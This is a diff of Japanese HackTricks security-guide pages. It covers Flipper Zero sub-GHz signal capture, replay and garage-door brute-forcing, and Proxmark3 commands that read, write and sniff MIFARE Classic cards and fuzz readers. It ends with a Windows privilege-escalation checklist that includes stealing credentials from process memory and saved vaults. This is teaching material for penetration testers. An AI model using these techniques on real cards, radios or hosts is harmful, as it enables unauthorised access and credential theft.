Flipper Zeroには、[](https://www.st.com/en/nfc/st25r3916.html#overview)[CC1101チップ](https://www.ti.com/lit/ds/symlink/cc1101.pdf)に基づく内蔵サブ1 GHzモジュールと、ラジオアンテナ最大範囲は50メートルが搭載されています。CC1101チップとアンテナは、300-348 MHz、387-464 MHz、779-928 MHzの周波数で動作するよう設計されています。 Flipper Zeroには、[](https://www.st.com/en/nfc/st25r3916.html#overview)[CC1101チップ](https://www.ti.com/lit/ds/symlink/cc1101.pdf)に基づく内蔵サブ1 GHzモジュールと、無線アンテナ最大範囲は50メートルが搭載されています。CC1101チップとアンテナは、300-348 MHz、387-464 MHz、779-928 MHzの周波数で動作するよう設計されています。
<figure><img src="../../../.gitbook/assets/image (1) (8) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (1) (8) (1).png" alt=""><figcaption></figcaption></figure>
@ -42,7 +42,7 @@ Flipper Zeroには、[](https://www.st.com/en/nfc/st25r3916.html#overview)
リモートが使用している周波数を見つける方法 リモートが使用している周波数を見つける方法
{% endhint %} {% endhint %}
Flipper Zeroは周波数構成で利用可能なすべての周波数で信号強度RSSIをスキャンしています。Flipper Zeroは、-90 [dBm](https://en.wikipedia.org/wiki/DBm)よりも高い信号強度を持つ周波数を画面に表示します。 分析中、Flipper Zeroは周波数構成で利用可能なすべての周波数で信号強度RSSIをスキャンしています。Flipper Zeroは、-90 [dBm](https://en.wikipedia.org/wiki/DBm)よりも高い信号強度を持つ周波数を画面に表示します。
リモコンの周波数を特定するには、次の手順を実行します: リモコンの周波数を特定するには、次の手順を実行します:
@ -54,17 +54,17 @@ Flipper Zeroは、周波数構成で利用可能なすべての周波数で信
### 読み取り ### 読み取り
{% hint style="info" %} {% hint style="info" %}
使用されている周波数に関する情報を見つける(使用されている周波数を見つける別の方法もあります 使用されている周波数に関する情報を見つける(また、使用されている周波数を見つける別の方法)
{% endhint %} {% endhint %}
**Read**オプションは、デフォルトで433.92 AMの指定された変調で**構成された周波数でリスニング**を行います。読み取り時に**何かが見つかると**、画面に情報が表示されます。この情報は、将来信号を複製するために使用できます。 **Read**オプションは、指定された変調で設定された周波数で**リスニング**を行いますデフォルトでは433.92 AMです。読み取り時に**何かが見つかると**、画面に情報が表示されます。この情報は、将来信号を複製するために使用できます。
Readを使用している間に、**左ボタン**を押して**構成**することができます。\ Readを使用している間に、**左ボタン**を押して**設定**することができます。\
現時点では、**4つの変調**AM270、AM650、FM328、FM476があり、**いくつかの関連する周波数**が保存されています: 現時点では、**4つの変調**AM270、AM650、FM328、FM476があり、**いくつかの重要な周波数**が保存されています:
<figure><img src="../../../.gitbook/assets/image (28).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (28).png" alt=""><figcaption></figcaption></figure>
興味のある**周波数を設定**することができますが、リモコンで使用されている周波数がわからない場合は、**HoppingをONに設定**デフォルトではOffし、Flipperがそれをキャプチャして必要な情報を提供するまでボタンを何度か押します。 興味を持つ**任意の周波数を設定**できますが、リモコンで使用されている周波数がわからない場合は、**HoppingをONに設定**デフォルトではOffし、Flipperがそれをキャプチャして必要な周波数を設定する情報を提供するまでボタンを数回押します。
{% hint style="danger" %} {% hint style="danger" %}
周波数間の切り替えには時間がかかるため、切り替え時に送信される信号を見逃す可能性があります。信号をより良く受信するためには、周波数アナライザで決定された固定周波数を設定してください。 周波数間の切り替えには時間がかかるため、切り替え時に送信される信号を見逃す可能性があります。信号をより良く受信するためには、周波数アナライザで決定された固定周波数を設定してください。
@ -73,21 +73,21 @@ Readを使用している間に、**左ボタン**を押して**構成**する
### **Raw読み取り** ### **Raw読み取り**
{% hint style="info" %} {% hint style="info" %}
構成された周波数で信号を盗み(および再生)ます 設定された周波数で信号を盗み(および再生)ます
{% endhint %} {% endhint %}
**Raw読み取り**オプションは、リスニング周波数で送信された信号を記録します。これを使用して信号を**盗み****繰り返す**ことができます。 **Raw読み取り**オプションは、リスニング周波数で送信された信号を記録します。これを使用して信号を盗み、繰り返すことができます。
デフォルトでは**Raw読み取りも433.92でAM650**ですが、Readオプションで興味を持つ信号が**異なる周波数/変調にあることがわかった場合は、それも変更**できますRaw読み取りオプション内で左を押します デフォルトでは**Raw読み取りも433.92でAM650**ですが、Readオプションで興味を持つ信号が**異なる周波数/変調にあることがわかった場合は、それも変更**できますRaw読み取りオプション内で左を押します
### ブルートフォース ### ブルートフォース
たとえばガレージドアで使用されているプロトコルを知っている場合、**Flipper Zeroですべてのコードを生成して送信**することができます。これは一般的なガレージのタイプをサポートする例です:[**https://github.com/tobiabocchi/flipperzero-bruteforce**](https://github.com/tobiabocchi/flipperzero-bruteforce) 例えばガレージドアで使用されているプロトコルがわかっている場合、**Flipper Zeroですべてのコードを生成して送信**することができます。これは一般的なガレージのタイプをサポートする例です:[**https://github.com/tobiabocchi/flipperzero-bruteforce**](https://github.com/tobiabocchi/flipperzero-bruteforce)
### 手動追加 ### 手動追加
{% hint style="info" %} {% hint style="info" %}
構成されたプロトコルリストから信号を追加します 設定されたプロトコルリストから信号を追加します
{% endhint %} {% endhint %}
#### [サポートされているプロトコルのリスト](https://docs.flipperzero.one/sub-ghz/add-new-remote) <a href="#id-3iglu" id="id-3iglu"></a> #### [サポートされているプロトコルのリスト](https://docs.flipperzero.one/sub-ghz/add-new-remote) <a href="#id-3iglu" id="id-3iglu"></a>
@ -128,20 +128,20 @@ Readを使用している間に、**左ボタン**を押して**構成**する
**Try Hard Security Group** **Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %} {% embed url="https://discord.gg/tryhardsecurity" %}
<details> <details>
<summary><strong>htARTEHackTricks AWS Red Team ExpertでゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong>!</strong></summary> <summary><strong>htARTEHackTricks AWS Red Team ExpertAWSハッキングをゼロからヒーローまで学ぶ</strong></summary>
HackTricksをサポートする他の方法 HackTricksをサポートする他の方法
* **HackTricksで企業を宣伝したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **HackTricksで企業を宣伝したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksのグッズ**](https://peass.creator-spring.com)を入手してください * [**公式PEASSHackTricksのグッズ**](https://peass.creator-spring.com)を入手してください
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つけてください * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つけてください
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**telegramグループ**](https://t.me/peass)に**参加**したり、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)を**フォロー**したりしてください。 * 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)を**フォロー**してください。
* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。 * **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
</details> </details>

View file

@ -4,30 +4,30 @@
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary> <summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFT](https://opensea.io/collection/the-peass-family)コレクションを見つけます * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションを見つけます
* [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を手に入れます * [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を手に入れます
* **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に**参加**するか、[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローする🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。** * **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に**参加**するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローする🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **ハッキングトリックを共有する、**[**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。** * **ハッキングトリックを共有するために、**[**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。**
</details> </details>
**Try Hard Security Group** **Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %} {% embed url="https://discord.gg/tryhardsecurity" %}
*** ***
## Proxmark3を使用したRFIDシステムの攻撃 ## Proxmark3を使用したRFIDシステムの攻撃
最初に必要なのは、[**Proxmark3**](https://proxmark.com)を持っており、[**ソフトウェアをインストールし、その依存関係を解決**](https://github.com/Proxmark/proxmark3/wiki/Kali-Linux)[**します**](https://github.com/Proxmark/proxmark3/wiki/Kali-Linux)。 最初に必要なのは、[**Proxmark3**](https://proxmark.com)と[**ソフトウェアのインストールとその依存関係**](https://github.com/Proxmark/proxmark3/wiki/Kali-Linux)[**s**](https://github.com/Proxmark/proxmark3/wiki/Kali-Linux)です
### MIFARE Classic 1KBの攻撃 ### MIFARE Classic 1KBの攻撃
**16のセクター**があり、それぞれに**4つのブロック**があり、各ブロックには**16B**が含まれています。 UIDはセクター0ブロック0にあり変更できません。\ **16のセクター**があり、それぞれに**4つのブロック**があり、各ブロックには**16B**が含まれています。 UIDはセクター0ブロック0にあります(変更できません)。\
各セクターにアクセスするには、**2つのキー****A**と**B**)が必要で、これらは各セクターの**ブロック3に保存**されています(セクタートレーラー)。 セクタートレーラーには、各ブロックの**2つのキーを使用して読み取りおよび書き込み権限**を与える**アクセスビット**も格納されています。\ 各セクターにアクセスするには、**2つのキー****A**と**B**)が必要で、これらは**各セクターのブロック3に保存**されています(セクタートレーラー)。 セクタートレーラーには、各ブロックの**読み取りおよび書き込み**権限を与える**アクセスビット**も格納されています。\
2つのキーは、最初のキーを知っている場合に読み取り権限を与え、2番目のキーを知っている場合に書き込み権限を与えるために役立ちます例えば 2つのキーは、最初のキーを知っている場合に読み取り権限を与え、2番目のキーを知っている場合に書き込み権限を与えるために役立ちます例えば
複数の攻撃が実行できます 複数の攻撃が実行できます
@ -49,11 +49,11 @@ proxmark3> hf mf eset 01 000102030405060708090a0b0c0d0e0f # Write those bytes to
proxmark3> hf mf eget 01 # Read block 1 proxmark3> hf mf eget 01 # Read block 1
proxmark3> hf mf wrbl 01 B FFFFFFFFFFFF 000102030405060708090a0b0c0d0e0f # Write to the card proxmark3> hf mf wrbl 01 B FFFFFFFFFFFF 000102030405060708090a0b0c0d0e0f # Write to the card
``` ```
Proxmark3は、**盗聴**や**タグとリーダー間の通信**を傍受して機密データを見つけるなど、他のアクションを実行することができます。このカードでは、**暗号操作が弱い**ため、通信を傍受して使用されているキーを計算したり、平文と暗号文を知っていればそれを計算することができます(`mfkey64`ツール)。 Proxmark3は、**盗聴**や**Tag to Reader通信**などの他のアクションを実行することができます。このカードでは、**暗号化操作が弱い**ため、通信をスニッフして使用されているキーを計算することができます(`mfkey64`ツール)。
### 生コマンド ### 生コマンド
IoTシステムでは、**ブランドのないタグ**が使用されることがあります。この場合、Proxmark3を使用してタグに対してカスタム**生コマンドを送信**することができます。 IoTシステムでは、**非ブランド品や非商用タグ**が使用されることがあります。この場合、Proxmark3を使用してタグに対してカスタム**生コマンドを送信**することができます。
```bash ```bash
proxmark3> hf search UID : 80 55 4b 6c ATQA : 00 04 proxmark3> hf search UID : 80 55 4b 6c ATQA : 00 04
SAK : 08 [2] SAK : 08 [2]
@ -71,11 +71,11 @@ Proxmark3ソフトウェアには、簡単なタスクを実行するために
``` ```
proxmark3> script run mfkeys proxmark3> script run mfkeys
``` ```
あなたは、**有効なカード**のデータをコピーして、1つ以上のランダムな**バイト**を**ランダム化**し、**リーダーがクラッシュ**するかどうかを確認する**Luaスクリプト**を作成できます **有効なカード**のデータをコピーして、**タグリーダーをファズ**するスクリプトを作成できます。ただし、1つ以上の**ランダムなバイト**を**ランダム化**し、リーダーがどのイテレーションでも**クラッシュするかどうか**を確認する**Luaスクリプト**を作成してください
**Try Hard Security Group** **Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %} {% embed url="https://discord.gg/tryhardsecurity" %}
@ -84,10 +84,10 @@ proxmark3> script run mfkeys
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong>で**ゼロからヒーローまでのAWSハッキング**を学びましょう!</summary> <summary><strong>htARTEHackTricks AWS Red Team Expert</strong>で**ゼロからヒーローまでのAWSハッキング**を学びましょう!</summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセス**したいですか、または**HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**してみたいですか?または、**PEASSの最新バージョンを入手**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)のコレクションを見つけます * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFT](https://opensea.io/collection/the-peass-family)コレクションを見つけてください
* [**公式PEASSHackTricks swag**](https://peass.creator-spring.com)を手に入れます * [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私をフォローしてください 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で私をフォローしてください 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **ハッキングトリックを共有するために、**[**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks) **および** [**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。** * **ハッキングトリックを共有するために、**[**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks) **および**[**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。**
</details> </details>

View file

@ -9,32 +9,32 @@ HackTricksをサポートする他の方法
- **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! - **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
- [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する - [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける - [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
- **Discordグループ**に**参加**する💬 ([**Discord group**](https://discord.gg/hRep4RUj7f))または[**telegram group**](https://t.me/peass)に参加するか、**Twitter** 🐦で私たちをフォローする [**@carlospolopm**](https://twitter.com/hacktricks_live)。 - **Discordグループ**に**参加**する💬https://discord.gg/hRep4RUj7fまたは[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**🐦で**フォロー**する:[**@carlospolopm**](https://twitter.com/hacktricks_live)。
- 自分のハッキングテクニックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する - 自分のハッキングテクニックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する
</details> </details>
**Try Hard Security Group** **Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %} {% embed url="https://discord.gg/tryhardsecurity" %}
*** ---
### **Windowsローカル特権昇格ベクターを探すための最適なツール:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) ### **Windowsローカル特権昇格ベクターを探すための最適なツール:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)
### [システム情報](windows-local-privilege-escalation/#system-info) ### [システム情報](windows-local-privilege-escalation/#system-info)
- [ ] [**システム情報**](windows-local-privilege-escalation/#system-info)を取得する - [ ] [**システム情報**](windows-local-privilege-escalation/#system-info)を取得する
- [ ] スクリプトを使用して**カーネル**の[**脆弱性を検索**](windows-local-privilege-escalation/#version-exploits) - [ ] **スクリプトを使用して** **カーネル**の[**脆弱性を検索**](windows-local-privilege-escalation/#version-exploits)
- [ ] Googleを使用してカーネルの**脆弱性を検索** - [ ] Googleを使用してカーネルの脆弱性を検索する
- [ ] searchsploitを使用してカーネルの**脆弱性を検索** - [ ] searchsploitを使用してカーネルの脆弱性を検索する
- [ ] [**環境変数**](windows-local-privilege-escalation/#environment)に興味深い情報はありますか? - [ ] [**環境変数**](windows-local-privilege-escalation/#environment)に興味深い情報はありますか?
- [ ] PowerShell履歴にパスワードはありますか [**PowerShell履歴**](windows-local-privilege-escalation/#powershell-history) - [ ] [**PowerShell履歴**](windows-local-privilege-escalation/#powershell-history)にパスワードはありますか?
- [ ] [**インターネット設定**](windows-local-privilege-escalation/#internet-settings)に興味深い情報はありますか? - [ ] [**インターネット設定**](windows-local-privilege-escalation/#internet-settings)に興味深い情報はありますか?
- [ ] [**ドライブ**](windows-local-privilege-escalation/#drives)は? - [**ドライブ**](windows-local-privilege-escalation/#drives)は?
- [ ] [**WSUSの脆弱性**](windows-local-privilege-escalation/#wsus)は? - [**WSUSの脆弱性**](windows-local-privilege-escalation/#wsus)は?
- [**AlwaysInstallElevated**](windows-local-privilege-escalation/#alwaysinstallelevated)は? - [**AlwaysInstallElevated**](windows-local-privilege-escalation/#alwaysinstallelevated)は?
### [ログ/AV列挙](windows-local-privilege-escalation/#enumeration) ### [ログ/AV列挙](windows-local-privilege-escalation/#enumeration)
@ -43,43 +43,43 @@ HackTricksをサポートする他の方法
- [ ] [**LAPS**](windows-local-privilege-escalation/#laps)を確認する - [ ] [**LAPS**](windows-local-privilege-escalation/#laps)を確認する
- [ ] [**WDigest**](windows-local-privilege-escalation/#wdigest)がアクティブかどうかを確認する - [ ] [**WDigest**](windows-local-privilege-escalation/#wdigest)がアクティブかどうかを確認する
- [ ] [**LSA保護**](windows-local-privilege-escalation/#lsa-protection)は? - [ ] [**LSA保護**](windows-local-privilege-escalation/#lsa-protection)は?
- [ ] [**Credentials Guard**](windows-local-privilege-escalation/#credentials-guard)は? [**キャッシュされた資格情報**](windows-local-privilege-escalation/#cached-credentials)は? - [ ] [**Credentials Guard**](windows-local-privilege-escalation/#credentials-guard)は?
- [ ] [**キャッシュされた資格情報**](windows-local-privilege-escalation/#cached-credentials)は?
- [ ] いずれかの[**AV**](windows-av-bypass)があるかどうかを確認する - [ ] いずれかの[**AV**](windows-av-bypass)があるかどうかを確認する
- [ ] [**AppLockerポリシー**](authentication-credentials-uac-and-efs#applocker-policy)は? - [**AppLockerポリシー**](authentication-credentials-uac-and-efs#applocker-policy)は?
- [**UAC**](authentication-credentials-uac-and-efs/uac-user-account-control)は? - [**UAC**](authentication-credentials-uac-and-efs/uac-user-account-control)は?
- [**ユーザー権限**](windows-local-privilege-escalation/#users-and-groups)は? - [**ユーザ権限**](windows-local-privilege-escalation/#users-and-groups)は?
- [ ] [**現在の**ユーザーの**権限**](windows-local-privilege-escalation/#users-and-groups)を確認する - 現在のユーザの[**権限**](windows-local-privilege-escalation/#users-and-groups)を確認する
- [ ] 特権のあるグループのメンバーですか? [**特権グループ**](windows-local-privilege-escalation/#privileged-groups)を確認する - 特権のあるグループのメンバーですか?[**有効化されているトークン**](windows-local-privilege-escalation/#token-manipulation)はこれらのいずれかを持っていますか? **SeImpersonatePrivilege、SeAssignPrimaryPrivilege、SeTcbPrivilege、SeBackupPrivilege、SeRestorePrivilege、SeCreateTokenPrivilege、SeLoadDriverPrivilege、SeTakeOwnershipPrivilege、SeDebugPrivilege**
- [ ] これらのトークンのいずれかが有効になっているかを確認する:**SeImpersonatePrivilege、SeAssignPrimaryPrivilege、SeTcbPrivilege、SeBackupPrivilege、SeRestorePrivilege、SeCreateTokenPrivilege、SeLoadDriverPrivilege、SeTakeOwnershipPrivilege、SeDebugPrivilege** [**トークン操作**](windows-local-privilege-escalation/#token-manipulation)は? - [**ユーザセッション**](windows-local-privilege-escalation/#logged-users-sessions)は?
- [**ユーザーセッション**](windows-local-privilege-escalation/#logged-users-sessions)は? - [**ユーザのホーム**](windows-local-privilege-escalation/#home-folders)をチェックする(アクセスは?)
- [**ユーザーのホーム**](windows-local-privilege-escalation/#home-folders)をチェックする(アクセスは?)
- [**パスワードポリシー**](windows-local-privilege-escalation/#password-policy)は? - [**パスワードポリシー**](windows-local-privilege-escalation/#password-policy)は?
- [**クリップボードの中身**](windows-local-privilege-escalation/#get-the-content-of-the-clipboard)は? - [**クリップボードの中身**](windows-local-privilege-escalation/#get-the-content-of-the-clipboard)は?
### [ネットワーク](windows-local-privilege-escalation/#network) ### [ネットワーク](windows-local-privilege-escalation/#network)
- [**現在の**ネットワーク**情報**](windows-local-privilege-escalation/#network)をチェックする - 現在の[**ネットワーク情報**](windows-local-privilege-escalation/#network)をチェックする
- 外部に制限された**非表示のローカルサービス**をチェックする - 外部に制限された**非表示のローカルサービス**をチェックする
### [実行中のプロセス](windows-local-privilege-escalation/#running-processes) ### [実行中のプロセス](windows-local-privilege-escalation/#running-processes)
- プロセスのバイナリ[**ファイルとフォルダの権限**](windows-local-privilege-escalation/#file-and-folder-permissions)を確認する - プロセスのバイナリ[**ファイルとフォルダの権限**](windows-local-privilege-escalation/#file-and-folder-permissions)をチェックする
- [**メモリパスワードマイニング**](windows-local-privilege-escalation/#memory-password-mining)を行う - [**メモリパスワードマイニング**](windows-local-privilege-escalation/#memory-password-mining)を行う
- [**セキュリティの脆弱なGUIアプリ**](windows-local-privilege-escalation/#insecure-gui-apps)をチェックする - [**セキュリティの脆弱なGUIアプリ**](windows-local-privilege-escalation/#insecure-gui-apps)をチェックする
- `ProcDump.exe`を使用して、**興味深いプロセス**から資格情報を盗むことはできますかfirefox、chromeなど... - `ProcDump.exe`を使用して、興味深いプロセスから資格情報を盗むことはできますかfirefox、chromeなど...
### [サービス](windows-local-privilege-escalation/#services) ### [サービス](windows-local-privilege-escalation/#services)
- 任意のサービスを**変更**できますか? [**権限**](windows-local-privilege-escalation#permissions)を確認する - 任意のサービスを**変更**できますか?[**権限**](windows-local-privilege-escalation#permissions)
- 任意のサービスが実行する**バイナリ**を**変更**できますか? [**サービスのバイナリパスを変更**](windows-local-privilege-escalation/#modify-service-binary-path)できますか? - 任意のサービスが実行する**バイナリ**を**変更**できますか?[**サービスバイナリパスの変更**](windows-local-privilege-escalation/#modify-service-binary-path)
- 任意のサービスの**レジストリ**を**変更**できますか? [**サービスのレジストリ変更権限**](windows-local-privilege-escalation/#services-registry-modify-permissions)を確認する - 任意のサービスの**レジストリ**を**変更**できますか?[**サービスレジストリの変更権限**](windows-local-privilege-escalation/#services-registry-modify-permissions)
- いずれかの**未クォートされたサービス**バイナリ**パス**を利用できますか? [**未クォートされたサービスパス**](windows-local-privilege-escalation/#unquoted-service-paths)は? - いずれかの**未引用サービス**バイナリ**パス**を利用できますか?([**未引用サービスパス**](windows-local-privilege-escalation/#unquoted-service-paths)
### [**アプリケーション**](windows-local-privilege-escalation/#applications) ### [**アプリケーション**](windows-local-privilege-escalation/#applications)
- インストールされたアプリケーションの**書き込み**[**権限**](windows-local-privilege-escalation/#write-permissions)を確認する - インストールされたアプリケーションの[**書き込み権限**](windows-local-privilege-escalation/#write-permissions)をチェックする
- [**起動アプリケーション**](windows-local-privilege-escalation/#run-at-startup)を確認する - [**起動アプリケーション**](windows-local-privilege-escalation/#run-at-startup)をチェックする
- **脆弱な**[**ドライバ**](windows-local-privilege-escalation/#drivers)を確認する - **脆弱な**[**ドライバ**](windows-local-privilege-escalation/#drivers)をチェックする
### [DLL Hijacking](windows-local-privilege-escalation/#path-dll-hijacking) ### [DLL Hijacking](windows-local-privilege-escalation/#path-dll-hijacking)
* [ ] **PATH**内の**任意のフォルダに書き込めます**か? * [ ] **PATH**内の**任意のフォルダに書き込めます**か?
@ -88,16 +88,17 @@ HackTricksをサポートする他の方法
### [ネットワーク](windows-local-privilege-escalation/#network) ### [ネットワーク](windows-local-privilege-escalation/#network)
* [ ] ネットワークを列挙します(共有、インターフェース、ルート、隣接者、... * [ ] ネットワークを列挙します(共有、インターフェース、ルート、隣接者など
* [ ] ローカルホスト127.0.0.1)でリスンしているネットワークサービスに特に注意します * [ ] ローカルホスト127.0.0.1)でリスしているネットワークサービスに特に注意します
### [Windows資格情報](windows-local-privilege-escalation/#windows-credentials) ### [Windows資格情報](windows-local-privilege-escalation/#windows-credentials)
* [ ] [**Winlogon** ](windows-local-privilege-escalation/#winlogon-credentials)資格情報 * [ ] [**Winlogon**](windows-local-privilege-escalation/#winlogon-credentials)の資格情報
* [ ] [**Windows Vault**](windows-local-privilege-escalation/#credentials-manager-windows-vault)で使用できる資格情報はありますか? * [ ] 使用できる[**Windows Vault**](windows-local-privilege-escalation/#credentials-manager-windows-vault)の資格情報はありますか?
* [ ] 興味深い[**DPAPI資格情報**](windows-local-privilege-escalation/#dpapi)はありますか? * [ ] 興味深い[**DPAPIの資格情報**](windows-local-privilege-escalation/#dpapi)はありますか?
* [ ] 保存された[**Wifiネットワーク**](windows-local-privilege-escalation/#wifi)のパスワードはありますか? * [ ] 保存された[**Wifiネットワークのパスワード**](windows-local-privilege-escalation/#wifi)はありますか?
* [ ] 保存されたRDP接続に興味深い情報はありますか * [ ] 保存されたRDP接続に関する興味深い情報はありますか
* [ ] 最近実行されたコマンドのパスワードはありますか?
* [ ] [**リモートデスクトップ資格情報マネージャー**](windows-local-privilege-escalation/#remote-desktop-credential-manager)のパスワードはありますか? * [ ] [**リモートデスクトップ資格情報マネージャー**](windows-local-privilege-escalation/#remote-desktop-credential-manager)のパスワードはありますか?
* [ ] [**AppCmd.exe**が存在しますか](windows-local-privilege-escalation/#appcmd-exe)?資格情報は? * [ ] [**AppCmd.exe**が存在しますか](windows-local-privilege-escalation/#appcmd-exe)?資格情報は?
* [ ] [**SCClient.exe**](windows-local-privilege-escalation/#scclient-sccm)はありますかDLLサイドローディングは * [ ] [**SCClient.exe**](windows-local-privilege-escalation/#scclient-sccm)はありますかDLLサイドローディングは
@ -107,8 +108,8 @@ HackTricksをサポートする他の方法
